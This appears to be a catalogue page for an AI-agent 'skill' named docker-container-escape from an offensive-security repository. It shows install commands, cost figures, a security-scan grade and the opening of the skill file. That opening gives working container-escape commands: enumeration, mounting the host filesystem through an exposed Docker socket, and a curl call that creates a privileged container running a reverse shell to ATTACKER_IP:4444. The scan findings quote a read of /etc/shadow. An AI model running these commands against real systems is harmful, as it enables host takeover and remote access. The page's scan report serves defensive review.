Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/docker-container-escapeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/docker-container-escape)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/docker-container-escape"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/docker-container-escape/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/docker-container-escape"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/docker-container-escape.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00065 | $0.01862 |
| Opus 5.5 | $0.00026 | $0.00745 |
| Sonnet 5.5 | $0.00013 | $0.00372 |
| Haiku 4.5 | $0.00006 | $0.00186 |
Grade B, and why
docker-container-escape scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
cat /proc/1/root/etc/shadow Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
# Install Docker CLI or use curl to API This is a copy
100% identical to docker-container-escape — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 206 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Docker Container Escape
When to Use
- When you have shell access inside a Docker container during a pentest
- When testing Kubernetes pods for breakout vulnerabilities
- When assessing container security configurations
- When testing for privilege escalation from container to host
Prerequisites
- Shell access (user or limited privilege) on the target system
- Enumeration tools appropriate for the target OS (LinPEAS, WinPEAS, etc.)
- Understanding of the target OS privilege model and common misconfigurations
- Ability to transfer files or compile tools on the target
Workflow
Phase 1: Container Detection & Enumeration
# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep -i docker
ls -la /.dockerenv
hostname # Container IDs look like hex strings: a1b2c3d4e5f6
# Automated detection
# amicontained — container introspection tool
./amicontained
# DeepCE — Docker Privilege Escalation scanner
./deepce.sh
# Check for mounted Docker socket (CRITICAL FINDING)
ls -la /var/run/docker.sock
ls -la /run/docker.sock
# Check capabilities
capsh --print
cat /proc/self/status | grep Cap
# Check if privileged
cat /proc/self/status | grep -i "seccomp\|cap"
# If CapEff: 0000003fffffffff → Privileged container!
# Check mounted volumes
mount | grep -v "proc\|sys\|dev\|overlay"
df -h
cat /proc/mounts
Phase 2: Docker Socket Escape (Most Common)
# If /var/run/docker.sock is mounted — GAME OVER
# You can create a new privileged container with host filesystem mounted
# Method 1: Using Docker client inside container
# Install Docker CLI or use curl to API
docker -H unix:///var/run/docker.sock run -it --rm --privileged \
-v /:/hostfs alpine:latest chroot /hostfs bash
# Method 2: Using curl (when Docker CLI is not available)
# List running containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq
# Create privileged container with host access
curl -s --unix-socket /var/run/docker.sock -X POST \
-H "Content-Type: application/json" \
http://localhost/containers/create \
-d '{
"Image": "alpine",
"Cmd": ["/bin/sh", "-c", "chroot /hostfs /bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\""],
"HostConfig": {
"Binds": ["/:/hostfs"],
"Privileged": true
}
}'
# Start the container
curl -s --unix-socket /var/run/docker.sock -X POST \
http://localhost/containers/CONTAINER_ID/start
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 3mo ago First seen · 206 lines · 65 tokens per session scan B 9419c93bcc05
docker-container-escape is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (27 stars, last pushed 7mo ago), licensed Apache-2.0. It adds 65 tokens to every session and 1,862 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it B with 2 findings (reaches for credential files, makes network calls). It is 100% identical to docker-container-escape, differing in 0 lines, and is treated as a copy.
docker-container-escape compared with skills from other repositories
| Mod | Type | Stars | Last push | Licence | Scan | Tokens | Works with |
|---|---|---|---|---|---|---|---|
| docker-container-escapeakashrpatil/awesome-offensive-security-skills | Skill | 27 | 7mo ago | Apache-2.0 | B | 65 | Claude Code |
| docker-container-escapeShulkwiSEC/bb-huge | Skill | 27 | 4mo ago | MIT | B | 65 | Claude Code, Codex |
| performing-container-security-scanning-with-trivyxalgorix/xalgorix | Skill | 1.6k | yesterday | Apache-2.0 | A | 48 | Claude Code, Codex |
| test-environment-managementsummarybotng/summarybot-ng | Skill | 2 | 5mo ago | MIT | A | 44 | Claude Code |
| DevOps & DeploymentArieGoldkin/ai-agent-hub | Skill | 12 | 1y ago | MIT | A | 19 | Claude Code, Codex |
| tao-setup-nvidia-gpu-hostNVIDIA/skills | Skill | 4.4k | today | Apache-2.0 | B | 177 | Claude Code |
| detecting-container-drift-at-runtimexalgorix/xalgorix | Skill | 1.6k | yesterday | Apache-2.0 | A | 34 | Claude Code, Codex |